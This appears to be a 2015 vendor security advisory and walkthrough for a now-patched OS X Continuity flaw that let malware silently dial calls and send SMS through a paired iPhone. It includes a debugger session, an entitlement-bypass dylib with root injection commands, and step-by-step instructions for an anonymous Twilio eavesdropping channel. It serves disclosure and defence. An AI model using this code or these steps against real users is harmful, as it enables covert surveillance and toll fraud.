Wednesday, September 30, 2015 At 2:32PM
Overview
Affected Software: Mac OS X 10.10 – 10.10.5, iOS 8+ (Continuity feature)
GDS has discovered a vulnerability affecting the phone dialing and SMS integration of the Continuity feature set introduced in OS X 10.10 and iOS 8. Prior to the release of OS X 10.11, it was possible for malware or other malicious code executing on an OS X system to initiate phone calls and send SMS messages via a user’s iPhone without the user’s knowledge and without requiring root access, even if the user’s iPhone was locked.
- CVE-2015-3785 was discovered during independent research conducted by GDS into Continuity.
- CVE-2015-5897 was discovered during testing of Apple’s fix for CVE-2015-3785.
Example code is available on our Github repo:
Apple security advisory:
Issue Timeline
5/25/15 – CVE-2015-3785 disclosed to Apple
5/26/15 – Apple acknowledges report
7/15/15 – Apple confirms issue, fix slated for OS X 10.10.5
7/20/15 – Apple indicates that fix is present in 10.10.5 beta
8/07/15 – CVE-2015-5897 disclosed to Apple allowing bypass of fix for CVE-2015-3785
8/11/15 – Apple confirms new vulnerability, requests delay of public disclosure
8/13/15 – OS X 10.10.5 releases with undisclosed fix for CVE-2015-3785
9/30/15 – OS X 10.11 releases with fix for CVE-2015-5897, GDS/Apple public disclosure
Issue Description
This post primarily deals with CVE-2015-3785. A follow up post will examine the details of CVE-2015-5897.
When an OS X system and an iPhone have been properly configured, Continuity allows phone calls and SMS messages to be placed and received on OS X and routed through the iPhone using the mobile carrier’s network. This process is managed in part by the ‘callservicesd’ and ‘imagent’ daemons running on OS X, which expose XPC endpoints used by the FaceTime and Messages applications to place and answer calls/SMSes, obtain call status, and provide related functionality.
The user is not required to authenticate prior to using these functions, making it possible for malicious code executing on an OS X system to place calls or send SMS messages without the user’s knowledge by communicating directly with the daemons, bypassing the FaceTime or Messages UI. This also bypasses the ‘iPhone Cellular Calls’ FaceTime Preference on OS X, allowing calls to be placed even if this option is disabled. In-call audio is routed between OS X and the iPhone by default, but may optionally be disabled, or kept entirely on the iPhone and not routed to the affected OS X system.
Impact
- Malware or exploit “shellcode” running on an OS X system that silently dials international or premium-rate phone numbers through a user’s iPhone, potentially incurring significant phone charges. This type of malware was prevalent during the dialup modem era, and again in recent years on Android devices.
- The audio channel may be used to eavesdrop on an affected system, either through the OS X or iOS system’s microphone. In this scenario, malware running on an OS X system would silently dial a call causing the audio to be delivered to an attacker over the mobile carrier’s voice network, establishing a “covert channel” and bypassing any IP-based data loss prevention strategies. A fully functional proof of concept of this scenario is provided at the end of this post, including audio recording and transcription.
- Data can be exfiltrated from an affected system using SMS, or by using a “softmodem” in a manner similar to that described in A New Covert Channel over Cellular Voice Channel in Smartphones. In this case however the modulation would be performed on the OS X system itself, as opposed to the Android device used in the referenced publication. Data transmitted in this manner would also travel over the mobile network, evading all IP-based filtering.
- Special numbers beginning with *# that are used for iPhone configuration purposes can be silently dialed, giving malicious code the ability to alter a user’s voicemail access number, SMSC, call forwarding settings, and further similar options. This potentially enables interception of voice or SMS traffic by redirecting to attacker-controlled services.
Remediation
Affected users should upgrade to OS X 10.11, which fixes both vulnerabilities. Apple has indicated that they will not be fixing this issue in OS X 10.10. Users running 10.10 should disable the “FaceTime->iPhone Cellular Calls” setting on their iPhone to protect against these issues. Note that disabling the equivalent setting on OS X is not effective.
Background
This vulnerability is the most recent incarnation of an issue that first surfaced approximately 20 years ago on Windows desktops. Malware existed in the ’90s, but it was (for the most part) more benign than the malware of today. Your hard drive might have been wiped, but your bank accounts wouldn’t be emptied and your centrifuges would continue to operate within their recommended tolerances. Simpler times!
During this ancient era, land line dialup modems were the only way for most home users to access the Internet. Under normal circumstances, your modem would dial your ISP’s local phone number, establish a connection, authenticate, and set up a PPP (or similar) connection giving you an IP address and access to the Internet. On Windows systems, this was all handled by the Remote Access Service (RAS) APIs. These APIs are still used on Windows today, primarily for establishing VPN connections.
As Internet use became more widespread, “dialers” emerged as one of the first classes of malware that caused direct and often significant financial harm to users. Malware authors began using the RAS APIs to reconnect a user’s modem to expensive international or premium rate Internet access numbers, often times done without the user’s knowledge by disabling the modem speaker.
Some examples of this style of malware:
http://partners.nytimes.com/library/cyber/week/021197scam.html
http://articles.baltimoresun.com/2003-03-06/entertainment/0303060013_1_phone-bill-dial-phone-line
This type of malware mostly died out along with dialup, but has occasionally popped up again whenever a new platform/OS gives code the ability to control a phone. The 2010 presentation Dialers are Back! by Mikko Hypponen of F-Secure gives a good overview of “modern” smartphone dialer malware. Over the years this issue has affected Symbian, J2ME, and most recently Android.
With the release of OS X 10.10, Apple has joined the list.
Walkthrough
The walkthrough below covers the following major topics:
- How this issue was discovered and exploited
- Apple’s first fix (released in 10.10.5)
- A bypass for the fix that enables the original exploit to work again if root access is available
In part two of this post, we’ll cover the following:
- An additional bug that allows bypassing Apple’s fix without root
- Apple’s second fix (released in 10.11)
Once Continuity is configured, the FaceTime app on your Mac is used to place & receive calls through your phone. It works without any prompts for authentication, and the phone remains locked during the call. If the phone was already unlocked, or unlocked during the call, you’ll see a green ‘Touch to return to call’ banner at the top of the UI.
Our goal is to mimic FaceTime and make a call using the iPhone, but without displaying any UI. We’ll start by taking a look at the FaceTime binary to see if we can figure out how it’s communicating with the iPhone. First, we’ll look at the frameworks it uses and see if we can find anything phone or dialing related.
$ otool -L /Applications/FaceTime.app/Contents/MacOS/FaceTime
/Applications/FaceTime.app/Contents/MacOS/FaceTime:
[…]
/System/Library/PrivateFrameworks/PhoneNumbers.framework/Versions/A/PhoneNumbers (compatibility version 1.0.0, current version 47.0.0)
[…]
/System/Library/PrivateFrameworks/CommunicationsFilter.framework/Versions/A/CommunicationsFilter (compatibility version 1.0.0, current version 800.0.0)
[…]
/System/Library/PrivateFrameworks/TelephonyUtilities.framework/Versions/A/TelephonyUtilities (compatibility version 1.0.0, current version 1.0.0)
[…]
These 3 look promising. We’ll take a closer look at TelephonyUtilities by dumping its classes and looking for interesting class or method names like ‘dial’ or ‘call’.
$ class-dump -H /System/Library/PrivateFrameworks/TelephonyUtilities.framework/TelephonyUtilities
$ ls
AVConferenceDelegate-Protocol.h
CDStructures.h
IDSIDQueryControllerDelegate-Protocol.h
NSCoding-Protocol.h
NSObject-Protocol.h
NSSecureCoding-Protocol.h
NSString-FaceTime.h
NSString-TUFaceTimeUtilitiesAdditions.h
NSURL-FaceTime.h
NSXPCConnection-TUCallServicesAdditions.h
TUAVConferenceConnection.h
TUAVConferenceInterface.h
TUAccountsController.h
TUAudioController.h
TUAudioRoute.h
TUAudioSystemController.h
TUCall.h
TUCallCapabilities.h
TUCallCenter.h
TUCallCenterCallModelState.h
TUCallCenterCallsCache.h
TUCallGroup.h
TUCallModel.h
TUCallModelState.h
TUCallServicesAccountsControllerXPCDelegate-Protocol.h
TUCallServicesDaemonDelegate-Protocol.h
TUCallServicesDaemonObserver-Protocol.h
TUCallServicesInterface.h
TUCallServicesProxyCallActions-Protocol.h
TUFaceTimeAudioCall.h
TUFaceTimeAudioCallModel.h
TUFaceTimeCall.h
TUFaceTimeVideoCall.h
TUHardPauseController.h
TUICFInterface.h
TUIDSUtilities.h
TULogging.h
TUProxyCall.h
TUProxyCallModel.h
Looks like we could be in the right area, there are several classes that appear to be phone call related. Let’s check for any methods that might dial a call:
$ grep -i dial *
TUCall.h: unsigned int dialAssisted:1;
TUCall.h: unsigned int dialedFromEmergencyUI:1;
TUCall.h:- (void)setWasDialedFromEmergencyUI:(BOOL)arg1;
TUCall.h:- (BOOL)wasDialedFromEmergencyUI;
TUCall.h:- (void)setWasDialAssisted:(BOOL)arg1;
TUCall.h:- (BOOL)wasDialAssisted;
TUCallCenter.h:- (id)dialVoicemailWithSourceIdentifier:(id)arg1;
TUCallCenter.h:- (id)dialVoicemail;
TUCallCenter.h:- (id)dialEmergency:(id)arg1 sourceIdentifier:(id)arg2;
TUCallCenter.h:- (id)dialEmergency:(id)arg1;
TUCallCenter.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3 sourceIdentifier:(id)arg4 isRelayCall:(BOOL)arg5;
TUCallCenter.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3 sourceIdentifier:(id)arg4;
TUCallCenter.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3;
TUCallCenter.h:- (id)dial:(id)arg1 service:(int)arg2;
TUCallCenter.h:- (id)_dialFaceTimeCall:(id)arg1 isVideo:(BOOL)arg2 callID:(id)arg3 sourceIdentifier:(id)arg4;
TUCallServicesInterface.h:- (void)dialCall:(id)arg1;
TUCallServicesInterface.h:- (id)dial:(id)arg1 callID:(id)arg2 service:(int)arg3 sourceIdentifier:(id)arg4;
TUCallServicesProxyCallActions-Protocol.h:- (void)dialCall:(TUProxyCall *)arg1;
The dial: and dialCall: methods in these classes and protocol are worth investigating. We’ll do this in lldb, which will quickly be able to tell us if we’re on the right track. By using lldb’s regex breakpoints, we can break on every function that matches the regex ‘dial’. This will probably be overkill, but we can always narrow it down if needed.
$ lldb -p 7073
(lldb) process attach --pid 7073
Process 7073 stopped
[...]
Executable module set to "/Applications/FaceTime.app/Contents/MacOS/FaceTime".
Architecture set to: x86_64h-apple-macosx.
(lldb) breakpoint set -r dial
Breakpoint 1: 149 locations.
(lldb) c
Process 7073 resuming
That’s likely more than we actually want, but let’s see what happens. Place a call in FaceTime (be sure to select ‘Call using iPhone’), and see if any of the breakpoints are hit.
Success! lldb stops on one of our breakpoints, so there’s a good chance we’re looking in the right place:
Process 7073 stopped
* thread #1: tid = 0x207038, 0x00007fff8f9d36f4 TelephonyUtilities`-[TUCallCenter dial:callID:service:], queue = 'com.apple.main-thread', stop reason = breakpoint 1.11
frame #0: 0x00007fff8f9d36f4 TelephonyUtilities`-[TUCallCenter dial:callID:service:]
TelephonyUtilities`-[TUCallCenter dial:callID:service:]:
-> 0x7fff8f9d36f4 <+0>: pushq %rbp
0x7fff8f9d36f5 <+1>: movq %rsp, %rbp
0x7fff8f9d36f8 <+4>: movq -0x1a6ad977(%rip), %rsi ; "dial:callID:service:sourceIdentifier:"
0x7fff8f9d36ff <+11>: xorl %r9d, %r9d
(lldb) po $rdx
1 (212) 867-5309
(lldb) po $rcx
<object returned empty description>
(lldb) p $r8
(unsigned long) $14 = 1
The arguments passed to this method are a string containing the destination number in $rdx, an empty string in $rcx (callID:), and the integer 1 in $r8 (service:).
Continuing to follow execution, our breakpoints fire on the following sequence of functions. After the last dialCall, the number is dialed on the iPhone.
-[TUCallCenter dial:@"1 (212) 867-5309" callID:@"" service:1 sourceIdentifier:nil]
-[TUCallCenter dial:@"1 (212) 867-5309" callID:@"" service:1 sourceIdentifier:nil isRelayCall:]
-[TUCallServicesInterface dial:@"1 (212) 867-5309" callID: @"" service:1 sourceIdentifier:nil]
-[TUCallServicesInterface dialCall:(TUProxyCall *)]
Looking at the disassembly of that final dialCall: method, you’ll see that the last thing it does is call -[[TUCallServicesInterface daemonDelegate] dialCall:(TUProxyCall *)]:
0x7fff8f9cb96c <+193>: movq -0x1a6a618b(%rip), %rsi ; "daemonDelegate"
0x7fff8f9cb973 <+200>: movq %r12, %rdi ; r12 == self
0x7fff8f9cb976 <+203>: callq *%rbx
0x7fff8f9cb978 <+205>: movq -0x1a6a60df(%rip), %rsi ; "dialCall:"
0x7fff8f9cb97f <+212>: movq %rax, %rdi
0x7fff8f9cb982 <+215>: movq %r14, %rdx ; r14 == (TUProxyCall *)
0x7fff8f9cb985 <+218>: movq %rbx, %rax
0x7fff8f9cb988 <+221>: addq $0x10, %rsp
0x7fff8f9cb98c <+225>: popq %rbx
0x7fff8f9cb98d <+226>: popq %r12
0x7fff8f9cb98f <+228>: popq %r14
0x7fff8f9cb991 <+230>: popq %r15
0x7fff8f9cb993 <+232>: popq %rbp
0x7fff8f9cb994 <+233>: jmpq *%rax ; objc_msgSend
However this method didn’t trip a breakpoint when it was called, even though it matches the regex. Why not?
(lldb) b 0x7fff8f9cb994 Breakpoint 5: where = TelephonyUtilities`-[TUCallServicesInterface dialCall:] + 233, address = 0x00007fff8f9cb994 (lldb) c Process 7073 resuming Process 7073 stopped * thread #1: tid = 0x207038, 0x00007fff8f9cb994 TelephonyUtilities`-[TUCallServicesInterface dialCall:] + 233, queue = 'com.apple.main-thread', stop reason = breakpoint 5.1 frame #0: 0x00007fff8f9cb994 TelephonyUtilities`-[TUCallServicesInterface dialCall:] + 233 TelephonyUtilities`-[TUCallServicesInterface dialCall:]: -> 0x7fff8f9cb994 <+233>: jmpq *%rax TelephonyUtilities`-[TUCallServicesInterface answerCall:]: 0x7fff8f9cb996 <+0>: pushq %rbp 0x7fff8f9cb997 <+1>: movq %rsp, %rbp 0x7fff8f9cb99a <+4>: pushq %r15 (lldb) po $rdi <_NSXPCDistantObject: 0x600000268a00> (lldb) po $rdx <TUProxyCall 0x60800018ddd0 service=1 destinationID=1 (212) 867-5309 5 status=3 disconnectedReason=0 startTime=0.000000 uniqueProxyIdentifier=00DEFF3D-8CF8-48F4-8DA9-DC97983D25F1 callUUID=00DEFF3D-8CF8-48F4-8DA9-DC97983D25F1 isEndpointOnCurrentDevice=1 sourceIdentifier=(null)>
The objective-c ‘self’ pointer is in $rdi, so daemonDelegate is an NSXPCDistantObject. That means the dialCall: method is actually located in another process and is being invoked over XPC. This is likely the last stage of the dialing process that happens in the FaceTime app, aside from XPC callbacks from this service for things like call status updates.
To find the server side process exposing this XPC endpoint, we’ll look in the TelephonyUtilities framework directory:
$ ls /System/Library/PrivateFrameworks/TelephonyUtilities.framework/ Resources Versions TelephonyUtilities callservicesd $ ps aux | grep callservicesd dan 3351 0.0 0.2 2588388 41372 ?? S Wed11PM 0:29.25 /System/Library/PrivateFrameworks/TelephonyUtilities.framework/callservicesd
callservicesd is probably what we’re after, especially considering that we’ve been following execution in a class named TUCallServicesInterface.
We should now have everything we need to create our own XPC client that communicates with callservicesd, invokes the dialCall: method, and receives status callbacks. The class dump of TUCallServicesInterface shows that the daemonDelegate object conforms to the TUCallServicesDaemonDelegate protocol, which conforms to the TUCallServicesProxyCallActions protocol, which specifies the dialCall:(TUProxyCall *) method we want to invoke.
Putting this all together gives us xpcdial.m, which successfully dials a call on the iPhone by communicating with callservicesd over XPC, with no indication given to the user. The code also implements a class (CallObserver) conforming to the TUCallServicesDaemonObserver protocol so we can receive call status updates. There are a few interesting options to play with in the code that allow you to disable or reroute audio.
What about SMS?
The Messages application communicates with the imagent daemon over XPC in a similar manner to FaceTime and callservicesd. However when attempting to communicate with imagent directly to send SMS messages, the following error is returned:
imagent[250]: [Warning] Not entitled, *Not* granting listener port: 4FEB3BC3-6209-4838-86E6-8FCF4DB6206D pid: 71017 process: testclient
In this case, the Messages binary contains an entitlement that is verified by imagent prior to allowing an XPC connection. If we want to communicate with imagent using XPC, we’ll have to find a way to deal with this entitlement check. More on that later.
Apple’s First Fix
In OS X 10.10.5, our XPC client fails to communicate with callservicesd. The following log message is produced when the connection is attempted:
callservicesd[3328]: XPC connection <NSXPCConnection: 0x7ff14ac7e4d0> connection from pid 3340 lacks entitlement com.apple.telephonyutilities.callservicesd, not accepting connection
Apple applied a similar entitlement check to the one used by imagent and Messages, by adding the entitlement ‘com.apple.telephonyutilities.callservicesd’ to the FaceTime binary. The callservicesd daemon verifies that the PID making the XPC connection has this entitlement prior to allowing it. This is not easily bypassed, as only binaries signed by Apple can be granted this entitlement. Since both FaceTime and callservicesd are code signed, most code injection techniques available to non-root users are ineffective. The situation is very similar to Apple’s rootpipe fix, however in this case we’ve only got one binary (FaceTime) on the system with the entitlement and it doesn’t seem possible to load plugins into its memory space.
However, if an attacker has obtained root access using another vulnerability, bypassing the entitlement check is easily demonstrated using a tool such as osxinj to override the responsible function within callservicesd:
#import <objc/runtime.h> #import <Foundation/Foundation.h> @implementation NSXPCConnection(Overrides) +(void)load { static dispatch_once_t token; dispatch_once(&token, ^{ Class class = [self class]; Method orig = class_getInstanceMethod(class, @selector(valueForEntitlement:)); Method swiz = class_getInstanceMethod(class, @selector(my_valueForEntitlement:)); method_exchangeImplementations(orig,swiz); NSLog(@“entitlement checks bypassed"); }); } -(id)my_valueForEntitlement:(id)arg1 { return @1; } @end
$ clang -o callservicesd_hook.dylib -dynamiclib callservicesd_hook.m -framework Foundation $ sudo osxinj callservicesd callservicesd_hook.dylib
Once the dylib has been injected into callservicesd, the original exploit works as it did prior to 10.10.5. This type of injection by the root user is prevented on OS X 10.11 via the new System Integrity Protection feature.
What else can we do?
Now that we can dial arbitrary phone numbers, what can we do aside from running up our target’s phone bill?
It turns out that setting something up like the “covert channel audio recorder” described earlier is remarkably simple, and can even be done anonymously. We provide an example implementation below to show that these types of attacks are not only realistic, they require almost no resources. This is mainly because unlike 1997, in 2015 we have The Cloud. Services like Twilio allow us to build scalable telephony services in a few lines of XML that traditionally required significant infrastructure. It’s easy to create and deploy a service that answers incoming calls, records the audio to an mp3 file, and transcribes the audio into a text file. In fact, the complete TwiML code for the service is only 132 characters long, meeting the important benchmark of fitting into a tweet:
<?xml version="1.0" encoding="UTF-8"?><Response><Record timeout="0" maxLength="3600" transcribe="true" playBeep="false"/></Response>
If you’re willing to forego the transcription, you can run the entire operation anonymously using Twilio’s free service tier with a little bit of effort. We’ll walk you through the steps:
1) Sign up for Twilio using an existing mobile number. To remain anonymous, use a prepaid SIM card, Google Voice number, or a combination of similar services.
2) We will be issued a ‘Twilio Number’ which is connected to our telephony application. This is the number our malware payload will dial.
3) Next, we’ll need to point our Twilio number at a URL which serves the TwiML that controls our application. Normally we’d write some code to react to various user events, but in our case we can get away with a static XML file. Since we want to remain anonymous and not spend any money, we’ll host it on Google Drive. (Remove the “transcribe=true” if you’re using the free tier).
4) Dial the Twilio number. We will be greeted by a recording thanking us for using our demo account, and asking us to press any key to continue. After doing so, our application starts and all audio is recorded and saved to an mp3 file on Twilio’s servers. This poses two problems – we don’t want that greeting to play on our target’s system, and our payload doesn’t send DTMF digits.
5) The simplest way to handle these issues is to give Twilio a credit card number and upgrade your account. This removes the initial greeting and requirement to press a key, and also allows you to take advantage of Twilio’s transcription feature. If you’ve done this, skip the next two steps.
6) Since we’d like to remain anonymous for this exercise, we can make some changes to our payload to work around the free account limitations. To deal with the greeting message, our code could temporarily disable the outbound audio stream coming from FaceTime so the user wouldn’t hear it. Since this is just an example, we’ll simply mute system audio for 10 seconds.
7) Next we’ll use the XPC method playDTMFToneForCall: to simulate pressing a single digit. The tone is not echoed back to the sender, so the target system will not hear anything.
8) That’s it! When the malware payload is triggered, the iPhone will dial our Twilio number, mute audio for approximately 10 seconds, simulate a DTMF key press, and audio recording will begin. This all happens over the user’s mobile network – no audio data travels over the Internet.
In part 2 of this post, we’ll walk through exploitation of CVE-2015-5897 which allows the entitlement check to be bypassed without root access. This is accomplished using an interesting bug in the AddressBook framework that is exploitable by placing the callservicesd process inside a sandbox profile.
Author: Dan Bastone
©Aon plc 2023